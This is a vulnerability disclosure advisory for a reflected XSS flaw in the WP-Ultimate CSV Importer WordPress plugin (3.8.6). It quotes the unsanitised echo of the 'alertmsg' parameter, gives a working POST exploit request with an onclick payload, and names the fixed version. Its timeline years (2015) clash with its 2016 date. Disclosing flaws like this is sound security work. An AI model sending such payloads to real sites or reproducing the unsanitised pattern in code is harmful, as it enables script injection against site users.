## FULL DISCLOSURE

#Product : WP-Ultimate CSV Importer
#Exploit Author : Rahul Pratap Singh
#Version : 3.8.6
#Home page Link : https://wordpress.org/plugins/wp-ultimate-csv-importer
<https://wordpress.org/plugins/wp-ultimate-csv-importer&lt;/a&gt;&lt;br&gt;#Website>
#Website : 0x62626262.wordpress.com
#Linkedin : https://in.linkedin.com/in/rahulpratapsingh94
#Date <https://in.linkedin.com/in/rahulpratapsingh94&lt;br&gt;#Date> :
27/Jan/2016

XSS Vulnerability:

Description:
"alertmsg" parameter is not sanitized that leads to reflected XSS.

Vulnerable Code:
File Name: /wp-ultimate-csv-importer/index.php

Found at line:256
echo __($_POST['alertmsg'],'wp-ultimate-csv-importer');

Exploit:
POST /wp-admin/admin-ajax.php

action=trans_alert_str&alertmsg=<input+type%3Dtext+onclick%3Dalert(%2FXSS%2F)>

POC:
https://0x62626262.files.wordpress.com/2016/01/wp-ultimate-csv-importerxsspoc.png

Fix:
Update to 3.8.8

Vulnerability Disclosure Timeline:
→ January 14, 2015  – Bug discovered, initial report to Vendor
→ January 14, 2015  – Vendor acknowledged and scheduled a fix
→ January 18, 2015  – Reported to wordpress
→ January 19, 2015  – WordPress Response, plugin taken down
→ January 26, 2015  – Vendor Deployed a Patch

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Pub Ref:
https://0x62626262.wordpress.com/2016/01/26/wp-ultimate-csv-importer-xss-vulnerability/
https://wordpress.org/plugins/wp-ultimate-csv-importer/changelog/
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